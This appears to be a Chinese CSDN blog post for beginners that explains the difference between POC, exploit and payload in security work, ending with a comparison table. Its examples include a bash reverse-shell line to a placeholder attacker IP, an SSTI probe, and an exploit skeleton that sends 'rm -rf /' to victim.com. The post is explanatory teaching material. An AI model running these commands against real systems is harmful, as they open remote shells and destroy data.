poc/exp/payload_payload和exp-CSDN博客

本文链接：https://blog.csdn.net/lsswyy/article/details/146018151

当我们刚开始入坑的时候很多朋友经常听说这三个名词，但是许多小伙伴可能并不清楚这三者之间的区别与联系。本文章就来说说这三者的区别

1. Payload（有效载荷）

定义：攻击中实际执行的恶意代码或指令。
作用：实现攻击目标（如获取Shell、窃取数据、加密文件）。
特点：
- 是攻击的最终执行阶段
- 独立于漏洞利用方式（同一个Payload可用于不同EXP）

示例：

bash

# 反向Shell的Payload（Bash）
bash -i >& /dev/tcp/攻击者IP/端口 0>&1

# 文件加密勒索Payload（伪代码）
encrypt_files("/home/", aes_key)

2. POC（Proof of Concept，概念验证）

定义：证明漏洞存在的代码或方法。
作用：验证漏洞真实性，不追求实际攻击效果。
特点：
- 通常是漏洞公开后的第一份公开代码
- 可能只触发漏洞（如使服务崩溃、返回特定响应）

示例：

http

GET /vuln?param={{7*7}} HTTP/1.1
# 触发SSTI漏洞，响应中出现"49"即证明漏洞存在

3. EXP（Exploit，漏洞利用程序）

定义：完整的漏洞利用工具/代码，包含漏洞触发和Payload交付。
作用：实现完整的攻击链（从漏洞触发到获取控制权）。
特点：
- 包含漏洞利用逻辑 + Payload
- 通常需要适配目标环境（如操作系统、软件版本）

示例：

python

# 针对CVE-2023-1234的Python EXP
target = "http://victim.com/vuln_endpoint"
payload = "rm -rf /"  # 恶意Payload

# 构造漏洞触发请求
headers = {"Content-Type": "malicious/format"}
data = generate_exploit_payload(payload)

requests.post(target, headers=headers, data=data)  # 发送EXP

三者关系示意图

漏洞发现 → 编写POC证明存在 → 开发EXP实现攻击 → EXP内嵌入Payload

对比表格

特征	POC	EXP	Payload
目的	证明漏洞存在	实现完整攻击	执行恶意操作
攻击性	无或有限	高	高
代码复杂度	简单（仅触发漏洞）	复杂（含利用链）	中等（专注功能实现）
典型输出	崩溃/异常响应	系统控制权/数据泄露	具体恶意行为结果